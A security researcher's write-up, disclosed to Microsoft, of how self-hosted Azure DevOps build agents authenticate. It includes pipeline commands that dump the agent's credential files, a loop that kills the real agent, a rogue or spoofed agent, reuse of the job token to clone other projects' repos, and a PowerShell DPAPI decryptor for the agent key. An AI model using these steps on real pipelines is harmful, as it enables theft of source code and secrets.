Azure DevOps Build Agent analysis

Azure DevOps is becoming more and more used by customers as Microsoft pushes them to replace their on-premises VSTS Server with the cloud version, Azure DevOps.

So what can we do if we compromise a build agent? Or even a basic developer account? This article aims at explaining how this whole build jobs works and what it can be (ab)used for.

How it all started

During an assessment, we played with the Azure DevOps build pipeline feature. As it executes code on remote machines, we wanted to understand how the source code was transmitted to or pulled by the agents.

Azure DevOps interface provides a nice view for builds' logs, step by step. So if you build a very basic project, you should actually see one interesting step called Checkout with multiple git commands:

But as we can see, the AUTHORIZATION token used in the git fetch command is redacted... You see where this is going!

Azure DevOps build agent

There are 2 kinds of build agents available on Azure DevOps:

• Azure provided
• Self hosted

They both work on Windows, Linux and Mac OS. It is developed in C# with .NET Core and is open source, though we discovered it was open source after this research...

Anyway, we will focus on the Linux version for the rest of the article.

Self hosted agent

In order to fully understand what is going on, we thought that a self hosted agent was easier to study as you can easily intercept HTTPS traffic and just follow the workflow.

Setup

First of all, we need the agent:

vstsagent@7e9025678d28:~$ wget https://vstsagentpackage.azureedge.net/agent/2.155.1/vsts-agent-linux-x64-2.155.1.tar.gz
vstsagent@7e9025678d28:~$ tar xvf vsts-agent-linux-x64-2.155.1.tar.gz
vstsagent@7e9025678d28:~$ ls -l
total 88416
drwxr-xr-x 1 vstsagent vstsagent    20480 Jul 29 03:14 bin
-rwxr-xr-x 1 vstsagent vstsagent     2940 Jul 29 03:11 config.sh
-rwxr-xr-x 1 vstsagent vstsagent      707 Jul 29 03:11 env.sh
drwxr-xr-x 1 vstsagent vstsagent     4096 Jul 29 03:12 externals
-rwxr-xr-x 1 vstsagent vstsagent     2014 Jul 29 03:11 run.sh

Before configuring the agent, it is worth explaining a bit how it registers as a build agent:

• Generate a PAT (Personal Access Token) with the permission Read and manage agent pools:

• Setup the HTTP proxy in order to intercept the HTTP traffic:

vstsagent@7e9025678d28:~$ export VSTS_HTTP_PROXY=http://172.17.0.1:8080/

• Run the configuration script config.sh, follow the steps and provide the generated PAT:

vstsagent@7e9025678d28:~$ ./config.sh --sslskipcertvalidation

>> End User License Agreements:

Building sources from a TFVC repository requires accepting the Team Explorer Everywhere End User License Agreement. This step is not required for building sources from Git repositories.

A copy of the Team Explorer Everywhere license agreement can be found at:
  /home/vstsagent/externals/tee/license.html

Enter (Y/N) Accept the Team Explorer Everywhere license agreement now? (press enter for N) > Y

>> Connect:

Enter server URL > https://dev.azure.com/test30246/
Enter authentication type (press enter for PAT) > PAT                                                   
Enter personal access token > ****************************************************
Connecting to server ...

>> Register Agent:

Enter agent pool (press enter for default) > Default
Enter agent name (press enter for 7e9025678d28) > agent_2
Scanning for tool capabilities.
Connecting to the server.
Successfully added the agent
Testing agent connection.
Enter work folder (press enter for _work) > 
2019-09-27 12:55:12Z: Settings Saved.

We immediately see new files and directories appearing:

vstsagent@7e9025678d28:~$ ls -la
total 88472
drwxr-xr-x 1 vstsagent vstsagent     4096 Sep 27 16:50 .
drwxr-xr-x 1 root      root          4096 Sep 26 10:39 ..
-rw-r--r-- 1 vstsagent vstsagent      189 Sep 27 12:55 .agent
-rw-r--r-- 1 vstsagent vstsagent      181 Sep 27 12:55 .certificates
-rw-r--r-- 1 vstsagent vstsagent      266 Sep 27 12:55 .credentials
-rw------- 1 vstsagent vstsagent     1667 Sep 27 12:54 .credentials_rsaparams
-rw-r--r-- 1 vstsagent vstsagent       40 Sep 27 12:52 .env
-rw-r--r-- 1 vstsagent vstsagent       61 Sep 27 12:54 .path
drwxr-xr-x 3 vstsagent vstsagent     4096 Sep 27 16:03 _diag
drwxr-xr-x 9 vstsagent vstsagent     4096 Sep 26 10:59 _work
drwxr-xr-x 1 vstsagent vstsagent    20480 Jul 29 03:14 bin
-rwxr-xr-x 1 vstsagent vstsagent     2940 Jul 29 03:11 config.sh
-rwxr-xr-x 1 vstsagent vstsagent      707 Jul 29 03:11 env.sh
drwxr-xr-x 1 vstsagent vstsagent     4096 Jul 29 03:12 externals
-rwxr-xr-x 1 vstsagent vstsagent     2014 Jul 29 03:11 run.sh
-rwxr-xr-x 1 vstsagent vstsagent     4046 Sep 27 12:55 svc.sh

If you take a look at HTTP traffic, you'll see that the PAT is only used to enroll the new agent, but the PAT is not kept in any of these files. However, there are interesting ones:

vstsagent@7e9025678d28:~$ cat .agent 
{
  "acceptTeeEula": true,
  "agentId": 10,
  "agentName": "agent_2",
  "poolId": 1,
  "poolName": "Default",
  "serverUrl": "https://dev.azure.com/test30246/",
  "workFolder": "_work"
}
vstsagent@7e9025678d28:~$ cat .credentials_rsaparams 
{
  "d": "RTQ...ez+sQ==",
  "dp": "IY+vE...bXk=",
  "dq": "mk+lPF...aq0=",
  "exponent": "AQAB",
  "inverseQ": "Eqt...A0=",
  "modulus": "1D4...Zxew==",
  "p": "8hp...LNk=",
  "q": "4G...HM="
}
vstsagent@7e9025678d28:~$ cat .credentials
{
  "scheme": "OAuth",
  "data": {
    "clientId": "d974bf48-52d7-498d-a389-ded00abeb97e",
    "authorizationUrl": "https://vssps.dev.azure.com/test30246/_apis/oauth2/token",
    "oauthEndpointUrl": "https://vssps.dev.azure.com/test30246/_apis/oauth2/token"
}

So OK, we now know that the agent authenticates using the PAT on the backend, generates an RSA key pair and sends the public key to the server. But what happens when it wants to run jobs?

Running the agent

First of all, the agent authenticates itself using a JWT signed with his own RSA private key:

POST /test30246/_apis/oauth2/token HTTP/1.1
Host: vssps.dev.azure.com
Content-Type: application/x-www-form-urlencoded
Accept: application/json
User-Agent: VstsAgentCore-linux-x64/2.155.1 (Linux 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08)) VSServices/16.156.29126.0 (NetStandard; Linux 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 [2019-08-08])
Content-Length: 828
Connection: close

grant_type=client_credentials&client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&client_assertion=eyJ0eX...Pha2vyg

And if the signature can be verified, the server returns an access token:

{
  "access_token": "eyJ0eXAi...4HA",
  "expires_in": 3000,
  "token_type": "JWT"
}

Then, the agent sends its environment variables and capabilities to https://dev.azure.com/test30246/_apis/distributedtask/pools/1/sessions:

{
  "systemCapabilities": {
    "_": "/home/vstsagent/bin/Agent.Listener",
    "HOME": "/home/vstsagent",
    "HOSTNAME": "7e9025678d28",
    "OLDPWD": "/home/vstsagent/rogue_agent",
    "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "PWD": "/home/vstsagent",
    "VSTS_HTTP_PROXY": "http://172.17.0.1:8080/",
    "git": "/usr/bin/git",
    "sh": "/bin/sh",
    "Agent.Name": "agent_2",
    "Agent.OS": "Linux",
    "Agent.OSArchitecture": "X64",
    "InteractiveSession": "True",
    "Agent.Version": "2.155.1",
    "Agent.ComputerName": "7e9025678d28",
    "Agent.HomeDirectory": "/home/vstsagent"
  },
  "sessionId": "00000000-0000-0000-0000-000000000000",
  "ownerName": "7e9025678d28",
  "agent": {
    "id": 10,
    "name": "agent_2",
    "version": "2.155.1",
    "osDescription": "Linux 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08)",
    "status": 0,
    "provisioningState": null
  }
}

And if the agent is not already running, the server accepts this new session and returns an AES key, encrypted using the agent's RSA public key:

{
  "systemCapabilities": {
    "_": "/home/vstsagent/bin/Agent.Listener",
    "HOME": "/home/vstsagent",
    "HOSTNAME": "7e9025678d28",
    "OLDPWD": "/home/vstsagent/rogue_agent",
    "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "PWD": "/home/vstsagent",
    "VSTS_HTTP_PROXY": "http://172.17.0.1:8080/",
    "git": "/usr/bin/git",
    "sh": "/bin/sh",
    "Agent.OS": "Linux",
    "Agent.OSArchitecture": "X64",
    "InteractiveSession": "True",
    "Agent.ComputerName": "7e9025678d28",
    "Agent.HomeDirectory": "/home/vstsagent"
  },
  "sessionId": "adef6947-b29d-446b-bde4-b26671c05d9e",
  "encryptionKey": {
    "encrypted": true,
    "value": "Q/sBqARTJ3yFej4yw9pa20Wz80mhnwkPVQFy7hjyXKOu7P4Yh0OZMPtmbWOfKII5yTrHiNN+dnnqH4pIp9aaZQecumAKj+HD17W6VghzHBQ1u+KAq4NVLiZBlBoqxb9xowHlzhYBaHG8vePyVLkJQIxhPyEu7RsLXQQjA21QOEDWw0KRIyoCpHsysL6/H141XgOWWN45Xke182UbxTx+jgNXBTHH3jU89M1IGWgCjzoVwXr5s6RJwUfCIDng2x7U2Co536TQqLAtt7VEDtwtndd1YCVNEMBMJ7iy5FkGTXg9hxr6H8JlpPtygw8oHqHNl2nO6OCteRbYgP+dYy9+YQ=="
  },
  "ownerName": "7e9025678d28",
  "agent": {
    "_links": {},
    "id": 10,
    "name": "agent_2",
    "version": "2.155.1",
    "osDescription": "Linux 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08)",
    "status": 0,
    "provisioningState": null,
    "accessPoint": "CodexAccessMapping"
  }
}

When this initial setup is done, the agent regularly pulls the servers for new build jobs. If a new build job is available, the server responds with a PipelineAgentJobRequest message, which is encrypted using the previously sent AES key:

    {
       "messageId": 2,
       "messageType": "PipelineAgentJobRequest",
       "iv": "NhINMWrbqBCD8v+dEmObIg==",
       "body": "CSZmJ/4f[...]0msA=="
    }

This message can be decrypted using the .credentials_rsaparams and the AES key:

{
    [...]
    "jobId": "12f1170f-54f2-53f3-20dd-22fc7dff55f9",
    "jobDisplayName": "Job",
    "jobName": "__default",
    "jobContainer": null,
    "requestId": 59,
    "lockedUntil": "0001-01-01T00:00:00",
    "resources": {
        "endpoints": [
            {
                "data": {
                    "ServerId": "400fc58b-eb88-4ef3-be4b-35469d5b6587",
                    "ServerName": "test30246"
                },
                "name": "SystemVssConnection",
                "url": "https://dev.azure.com/test30246/",
                "authorization": {
                    "parameters": {
                        "AccessToken": "eyJ0eXAi...2EMw"
                    },
                    "scheme": "OAuth"
                },
                "isShared": false,
                "isReady": true
            }
        ],
        "repositories": [
            {
                "properties": {
                    "id": "21bed755-c619-400c-847e-73162c83dec0",
                    "type": "Git",
                    "version": "846cb82da115ade3f98a6f2764f3639120a49bd2",
                    "name": "sharedproject",
                    "project": "1800eca3-58a7-46ad-bff2-94ca7e245459",
                    "defaultBranch": "refs/heads/master",
                    "ref": "refs/heads/master",
                    "versionInfo": {
                        "author": "<redacted>",
                        "message": "Update azure-pipelines-2.yml for Azure Pipelines"
                    },
                    "checkoutOptions": {},
                    "url": "https://test30246@dev.azure.com/test30246/sharedproject/_git/sharedproject"
                },
                "alias": "self",
                "endpoint": {
                    "name": "SystemVssConnection"
                }
            }
        ]

The provided access token is then used as an HTTP header with git to fetch the source code and build the project (in this case, https://test30246@dev.azure.com/test30246/sharedproject/_git/sharedproject, as specified in the repositories section).

But here is the first vulnerability appearing: what if we try to fetch the source code of a secret project of the same organization? Well, let's try:

$ git init
$ git remote add origin https://test30246@dev.azure.com/test30246/topsecret/_git/topsecret

$ git -c http.extraheader="AUTHORIZATION: bearer eyJ0eXAi...2EMw" fetch  --tags --prune --progress --no-recurse-submodules origin
remote: Azure Repos
remote: We noticed you're using an older version of Git. For the best experience, upgrade to a newer version.
remote: Found 6 objects to send. (169 ms)
Unpacking objects: 100% (6/6), done.
From https://dev.azure.com/test30246/topsecret/_git/topsecret
* [new branch]      master     -> origin/master

$ git -c http.extraheader="AUTHORIZATION: bearer eyJ0eXAi...2EMw" pull origin master
From https://dev.azure.com/test30246/topsecret/_git/topsecret
* branch            master     -> FETCH_HEAD

$ ls
README.md  azure-pipelines.yml

Aaaaaaaannnnnnnnd it works!

The threat model and exploitation techniques

So, is it a big deal if the token can be used to pull another project? Well, it depends on the use of Azure DevOps.

If a user is scoped to a few projects that share the same agent pool of restricted projects, he can modify build pipelines (yay DevOps stuff), so he just needs to collect the RSA key pair, kill the legit agent using the command execution feature and start his own with the stolen credentials. He simply needs to trigger a build to receive a nice token and reuse it to fetch secret projects.

This can be achieved using the following commands in the build script:

• Configure commands to collect files:

- task: CmdLine@2
  inputs:
    script: |
      echo "\n.credentials_rsaparams:"
      cat ../../../.credentials_rsaparams
      echo "\n.credentials:"
      cat ../../../.credentials
      echo "\n.agent:"
      cat ../../../.agent
      echo "\n.env:"
      cat ../../../.env

• Collect the output:

[command]/bin/bash --noprofile --norc /home/vstsagent/_work/_temp/b8582d5d-3283-4b0f-8f3c-dce4029861b9.sh
\n.credentials_rsaparams:
{
  "d": "RT...ez+sQ==",
  "dp": "IY+v...bXk=",
  "dq": "mk+lPFy...Waq0=",
  "exponent": "AQAB",
  "inverseQ": "EqtNf/fcY...gtyA0=",
  "modulus": "1D4yc...Zxew==",
  "p": "8hpWI...RFLNk=",
  "q": "4G0S...vf+LHM="
}\n.credentials:
{
  "scheme": "OAuth",
  "data": {
    "clientId": "d974bf48-...-ded00abeb97e",
    "authorizationUrl": "https://vssps.dev.azure.com/test30246/_apis/oauth2/token",
    "oauthEndpointUrl": "https://vssps.dev.azure.com/test30246/_apis/oauth2/token"
  }
}\n.agent:
{
  "acceptTeeEula": true,
  "agentId": 10,
  "agentName": "agent_2",
  "poolId": 1,
  "poolName": "Default",
  "serverUrl": "https://dev.azure.com/test30246/",
  "workFolder": "_work"
}\n.env:
VSTS_HTTP_PROXY=http://172.17.0.1:8080/

• Then, kill the agent so you can run your own with the same configuration:

for agent_pid in $(ps auxww | grep Agent.Listener | grep -v grep | sed 's/^\S*\s*\([0-9]*\).*/\1/'); do
        echo "Killing pid $agent_pid"
        kill -9 $agent_pid
done

• Run your own rogue agent with the same configuration:

vstsagent@7e9025678d28:~/rogue_agent$ ./run.sh 
Scanning for tool capabilities.
Connecting to the server.
2019-09-27 13:43:28Z: Listening for Jobs
2019-09-27 13:43:58Z: Running job: Job
2019-09-27 13:44:12Z: Job Job completed with result: Succeeded

However, it appeared killing the agent was not necessary as we found a way to spoof the agents' identity using a valid RSA key pair. The spoofed agent must be offline as it is not possible to have 2 sessions with the same agent ID. But the exploitation is trivial as it only requires to edit the .agent file and replace the agentId field:

{
  "acceptTeeEula": true,
  "agentId": 11,
  "agentName": "agent_2",
  "poolId": 1,
  "poolName": "Default",
  "serverUrl": "https://dev.azure.com/test30246/",
  "workFolder": "_work"
}

 What happens here is the authentication is not related to the authorization:

• The agent authenticates with the stolen RSA credentials and get an access token for further API calls
• Then it sends its capabilities to retrieve jobs but with another agent ID:

{
  "systemCapabilities": {
[...]
  },
  "sessionId": "00000000-0000-0000-0000-000000000000",
  "ownerName": "7e9025678d28",
  "agent": {
    "id": 11,
    "name": "agent_3",
    "version": "2.155.1",
    "osDescription": "Linux 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08)",
    "status": 0,
    "provisioningState": null
  }
}

• The server accepts and sends back an AES session key:

{
  "systemCapabilities": {
    "_": "/home/vstsagent/bin/Agent.Listener",
    "HOME": "/home/vstsagent",
    "HOSTNAME": "7e9025678d28",
    "OLDPWD": "/home/vstsagent/rogue_agent",
    "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "PWD": "/home/vstsagent",
    "VSTS_HTTP_PROXY": "http://172.17.0.1:8080/",
    "git": "/usr/bin/git",
    "sh": "/bin/sh",
    "Agent.OS": "Linux",
    "Agent.OSArchitecture": "X64",
    "InteractiveSession": "True",
    "Agent.ComputerName": "7e9025678d28",
    "Agent.HomeDirectory": "/home/vstsagent"
  },
  "sessionId": "646b21e7-f257-4022-a4be-f90212b9f803",
  "encryptionKey": {
    "encrypted": true,
    "value": "QuUGWlPdLprsoFqcmX+wDldIO04ulPLM3ZLmArIwEl+MKVBCFhNQSKtHXgc0nsdfpvQ04ue+hcV2SSDWgPyCTLlGNWLyBg4UDQO232gLP/nUdCO9iPvpmkpOV1h3eW8FdDGAPkkd1aqrmjFyL8a3fS9u+ADxDufalFiUaaRFh/IIJbCQGMCxtyOO3XQgIQ2XRY5zIVf/KfHsUPszzxkZXRPGsnsvKAVMnAX2nWe0OaoE152MNYltIYRWvV1mG4LiQKFW1RdPW2kwyHHzYmx9tp/Uwz6p7zw+CedgdqVkLbKBTI7HHrDidrJuoppqKygtIvPAJ0+bmAMS7ncV0vc7nA=="
  },
  "ownerName": "7e9025678d28",
  "agent": {
    "_links": {},
    "id": 11,
    "name": "agent_3",
    "version": "2.155.1",
    "osDescription": "Linux 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08)",
    "status": 0,
    "provisioningState": null,
    "accessPoint": "CodexAccessMapping"
  }
}

• And the spoofed agent appears on the interface as online and receives jobs:

Notes on Windows build agent

Everything described previously can be applied to the Windows version of the agent. The only difference lies in the RSA key management.

Indeed, the .credentials_rsaparams file does not contain the RSA key parameters, but is encrypted using the DPAPI.

Thus, it is very simple to decrypt it using the following PowerShell script:

Param(
  [string] $credentialsFile
)

[void] [Reflection.Assembly]::LoadWithPartialName("System.Security")
$scope = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
$content = [IO.File]::ReadAllBytes($credentialsFile)
[System.Text.UTF8Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($content, $null, $scope ))

And just provide the file to retrieve the RSA key parameters:

PS C:\Users\user\Desktop> powershell -ExecutionPolicy ByPass -File .\DecryptRSAParams.ps1 .\vsts-agent-win-x64-2.158.0\.credentials_rsaparams
{
  "d": "iR...BcQ==",
  "dp": "F7Z...PVL0=",
  "dq": "CK...q8=",
  "exponent": "AQAB",
  "inverseQ": "QIU...h0=",
  "modulus": "y7...7DQ==",
  "p": "0U...18=",
  "q": "+S3...RM="
}

From here, the same attacks can be performed.

Azure provided agent

First of all, we checked if the same configuration files were installed on these agents:

trigger:
- master

pool:
  vmImage: 'ubuntu-latest'

steps:
- script: echo Hello, world!
  displayName: 'Run a one-line script'

- script: |
    echo Add other tasks to build, test, and deploy your project.
    echo See https://aka.ms/yaml
  displayName: 'Run a multi-line script'

- task: CmdLine@2
  inputs:
    script: |
      pwd
      ls -la ../../../

Let's see what we have in the build logs:

[command]/bin/bash --noprofile --norc /home/vsts/work/_temp/e091bcbc-7754-45df-96b1-f693fef749df.sh
/home/vsts/work/1/s
total 40
drwxrwxrwx  7 vsts docker 4096 Oct 11 12:17 .
drwxr-xr-x+ 5 root root   4096 Oct  9 16:10 ..
drwxr-xr-x  7 vsts root   4096 Oct  9 16:12 agents
-rwxrwxrwx  1 vsts docker  220 Oct  9 16:10 .bash_logout
-rwxrwxrwx  1 vsts docker 3771 Oct  9 16:10 .bashrc
lrwxrwxrwx  1 vsts docker   22 Oct  9 16:10 .cargo -> /usr/share/rust/.cargo
drwxr-xr-x  2 vsts root   4096 Oct  9 16:12 factory
drwxr-xr-x  2 vsts docker 4096 Oct 11 12:17 perflog
-rwxrwxrwx  1 vsts docker  688 Oct  9 16:10 .profile
lrwxrwxrwx  1 vsts docker   23 Oct  9 16:10 .rustup -> /usr/share/rust/.rustup
drwxr-xr-x  2 vsts root   4096 Oct  9 16:12 warmup
drwxr-xr-x  7 vsts root   4096 Oct 11 12:18 work

As we can see, there is a directory named agents which probably contains the configuration files:

$ ls -la  ../../../agents/
total 441352
drwxr-xr-x 7 vsts root       4096 Oct  9 16:11 .
drwxrwxrwx 7 vsts docker     4096 Oct 11 12:19 ..
drwxr-xr-x 5 vsts docker     4096 Oct 11 12:12 2.152.1
-rw-r--r-- 1 vsts root   90315058 Oct  9 16:11 2.152.1.tgz
drwxr-xr-x 5 vsts docker     4096 Oct 11 12:12 2.153.1
-rw-r--r-- 1 vsts root   90364587 Oct  9 16:11 2.153.1.tgz
drwxr-xr-x 5 vsts docker     4096 Oct 11 12:12 2.153.2
-rw-r--r-- 1 vsts root   90418675 Oct  9 16:11 2.153.2.tgz
drwxr-xr-x 5 vsts docker     4096 Oct 11 12:12 2.155.1
-rw-r--r-- 1 vsts root   90476744 Oct  9 16:11 2.155.1.tgz
drwxr-xr-x 5 vsts docker     4096 Oct 11 12:19 2.158.0
-rw-r--r-- 1 vsts root   90322392 Oct  9 16:11 2.158.0.tgz

Interesting, multiple tgz archives with different versions are in this directory. We know from the build logs that the agent version is 2.158.0:

##[section]Starting: Initialize job
Current agent version: '2.158.0'
Prepare build directory.
Set build variables.
Download all required tasks.
Downloading task: CmdLine (2.151.2)
Start tracking orphan processes.
##[section]Finishing: Initialize job

So let's dig deeper:

$ ls -la ../../../agents/2.158.0/
total 60
drwxr-xr-x  5 vsts docker  4096 Oct 11 12:23 .
drwxr-xr-x  7 vsts root    4096 Oct  9 16:12 ..
-rw-r--r--  1 root root     382 Oct 11 12:23 .agent
drwxr-xr-x 22 vsts docker 20480 Sep 12 13:32 bin
-rwxr-xr-x  1 vsts docker  2940 Sep 12 13:29 config.sh
-rw-r--r--  1 root root    1079 Oct 11 12:23 .credentials
drwxr-xr-x  3 vsts docker  4096 Oct 11 12:24 _diag
-rwxr-xr-x  1 vsts docker   707 Sep 12 13:29 env.sh
drwxr-xr-x  6 vsts docker  4096 Sep 12 13:31 externals
-rw-r--r--  1 root root     382 Oct 11 12:23 .runner
-rwxr-xr-x  1 vsts docker  2014 Sep 12 13:29 run.sh

Finally, it looks more familiar. However, the .runner file does not exist using the self hosted agent and the .credentials_rsaparams is missing. So, how does the authentication work? Well, it is quite different.

Let's see the content of the .runner and .credentials files:

$ cat ../../../agents/2.158.0/.agent
{
  "AcceptTeeEula": "True",
  "AgentId": "8",
  "AgentName": "Hosted Agent",
  "AutoUpdate": "False",
  "PoolId": "9",
  "ServerUrl": "https://dev.azure.com/test30246/",
  "SkipCapabilitiesScan": "True",
  "SkipSessionRecover": "True",
  "workFolder": "_work",
  "NotificationSocketAddress": "hello",
  "WorkFolder": "/home/vsts/work",
  "MonitorSocketAddress": "127.0.0.1:49100"
}
$ cat ../../../agents/2.158.0/.runner
{
  "AcceptTeeEula": "True",
  "AgentId": "8",
  "AgentName": "Hosted Agent",
  "AutoUpdate": "False",
  "PoolId": "9",
  "ServerUrl": "https://dev.azure.com/test30246/",
  "SkipCapabilitiesScan": "True",
  "SkipSessionRecover": "True",
  "workFolder": "_work",
  "NotificationSocketAddress": "hello",
  "WorkFolder": "/home/vsts/work",
  "MonitorSocketAddress": "127.0.0.1:49100"
}
$ cat ../../../agents/2.158.0/.credentials
{"data":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im9PdmN6NU1fN3AtSGpJS2xGWHo5M3VfVjBabyJ9.eyJu...wXrGA"},"scheme":"PAT"}

If we try to launch a rogue agent with the same configuration files, the server says the access token has expired:

{
  "$id": "1",
  "innerException": null,
  "message": "The access token being used by the agent has expired.",
  "typeName": "Microsoft.TeamFoundation.DistributedTask.WebApi.TaskAgentAccessTokenExpiredException, Microsoft.TeamFoundation.DistributedTask.WebApi",
  "typeKey": "TaskAgentAccessTokenExpiredException",
  "errorCode": 0,
  "eventId": 3000
}

But if we analyze the PAT, the exp and bnf fields should allow this token to be used during 48h:

{
    "aud": "app.vstoken.visualstudio.com|vso:400fc58b-eb88-4ef3-be4b-35469d5b6587", 
    "aui": "f0b099f1-2c75-47e0-a495-e75b676b2a4b", 
    "nbf": 1570796392, 
    "iss": "app.vstoken.visualstudio.com", 
    "exp": 1570969792, 
    "sid": "899b367f-e4d8-4534-a905-db9b12faea93", 
    "nameid": "0704e10b-56c7-4bb3-bde2-c77dc10361a7", 
    "scp": "DistributedTask.AgentCloudRequestListen:1:17c56970-ab44-4bd6-b682-9c75a78fab12 LocationService.Connect", 
    "orchid": "5077f5da-05bb-4702-8462-63e1912d75a1.job.__default"
}

We also tried to spoof the agentId using sed commands and running the agent but it also failed:

[2019-10-11 12:56:38Z INFO MessageListener] {
  "AcceptTeeEula": true,
  "AgentId": 9,
  "AgentName": "Hosted Agent",
  "NotificationSocketAddress": "hello",
  "SkipCapabilitiesScan": true,
  "SkipSessionRecover": true,
  "PoolId": 9,
  "ServerUrl": "https://dev.azure.com/test30246/",
  "WorkFolder": "/home/vsts/work",
  "MonitorSocketAddress": "127.0.0.1:49100"
}
[2019-10-11 12:56:38Z INFO Terminal] WRITE LINE: Scanning for tool capabilities.
[2019-10-11 12:56:38Z INFO CapabilitiesManager] Skip capabilities scan.
[2019-10-11 12:56:38Z INFO MessageListener] Loading Credentials
[2019-10-11 12:56:38Z INFO ConfigurationStore] HasCredentials()
[2019-10-11 12:56:38Z INFO ConfigurationStore] stored True
[2019-10-11 12:56:38Z INFO CredentialManager] GetCredentialProvider
[2019-10-11 12:56:38Z INFO CredentialManager] Creating type PAT
[2019-10-11 12:56:38Z INFO CredentialManager] Creating credential type: PAT
[2019-10-11 12:56:38Z INFO PersonalAccessToken] GetVssCredentials
[2019-10-11 12:56:38Z INFO PersonalAccessToken] token retrieved: 1043 chars
[2019-10-11 12:56:38Z INFO PersonalAccessToken] cred created
[2019-10-11 12:56:38Z INFO Terminal] WRITE LINE: Connecting to the server.
[2019-10-11 12:56:38Z INFO MessageListener] Attempt to create session.
[2019-10-11 12:56:38Z INFO MessageListener] Connecting to the Agent Server...
[2019-10-11 12:56:38Z INFO AgentServer] Establish connection with 100 seconds timeout.
[2019-10-11 12:56:39Z INFO VisualStudioServices] Starting operation Location.GetConnectionData
[2019-10-11 12:56:39Z INFO VisualStudioServices] Finished operation Location.GetConnectionData
[2019-10-11 12:56:39Z INFO AgentServer] Establish connection with 60 seconds timeout.
[2019-10-11 12:56:39Z INFO VisualStudioServices] Starting operation Location.GetConnectionData
[2019-10-11 12:56:39Z INFO VisualStudioServices] Finished operation Location.GetConnectionData
[2019-10-11 12:56:39Z INFO AgentServer] Establish connection with 60 seconds timeout.
[2019-10-11 12:56:39Z INFO VisualStudioServices] Starting operation Location.GetConnectionData
[2019-10-11 12:56:39Z INFO VisualStudioServices] Finished operation Location.GetConnectionData
[2019-10-11 12:56:39Z INFO MessageListener] VssConnection created
[2019-10-11 12:56:39Z ERR  VisualStudioServices] POST request to https://dev.azure.com/test30246/_apis/distributedtask/pools/9/sessions failed. HTTP Status: Forbidden, AFD Ref: Ref A: D3A3B43A7CE748C1AD0949601410AFE7 Ref B: DB3EDGE0709 Ref C: 2019-10-11T12:56:39Z
[2019-10-11 12:56:39Z INFO MessageListener] Agent OAuth token has been revoked. Session creation failed.
[2019-10-11 12:56:39Z INFO Agent] Agent OAuth token has been revoked. Shutting down.

The Azure provided agent setup does not seem affected by the issues identified on the self hosted agents.

The Windows version of this Azure provided agent works exactly the same way.

Mitigations

It is possible to declare a project-level agent pool so only agents from this pool will have access to the project. As this kind of worker are not shared between project, it should be enough to prevent the cross project scenario. However, it does not prevent one developer of the project to abuse the project's agent to retrieve secret variables for instance.

If you have to configure an Azure DevOps instance, be careful to think about the agent pools configuration to reduce project source code and secret variables disclosure.

Also, it is possible to restrict a build job authorization for the current project:

It will prevent the reuse of the OAuth token but it will not prevent the disclosure of the agent's credentials, which can be used afterward to access other projects.

Conclusion

All these findings were reported to Microsoft MSRC team which was very responsive and helpful. Nonetheless, as it is possible to create project-level agent pools, they finally decided not to fix the issues.

Build agents are very interesting to attack as they are authorized to access source code and even configuration files (with secrets).

I hope this article will inspire people to look into such solutions.

Big thank to MSRC team, they were super responsive, I've really appreciated!

Timeline

• 30/09/2019: issues reported to MSRC
• 03/10/2019: first response from MSRC
• 05/11/2019: Microsoft Bounty team contacted us to reward the findings
• 14/11/2019: engineering team determined it was not a vulnerability: "the engineering team has determined that this behavior is actually considered By Design and a recommended mitigation is for users to segregate sensitive projects so each has it's own repo"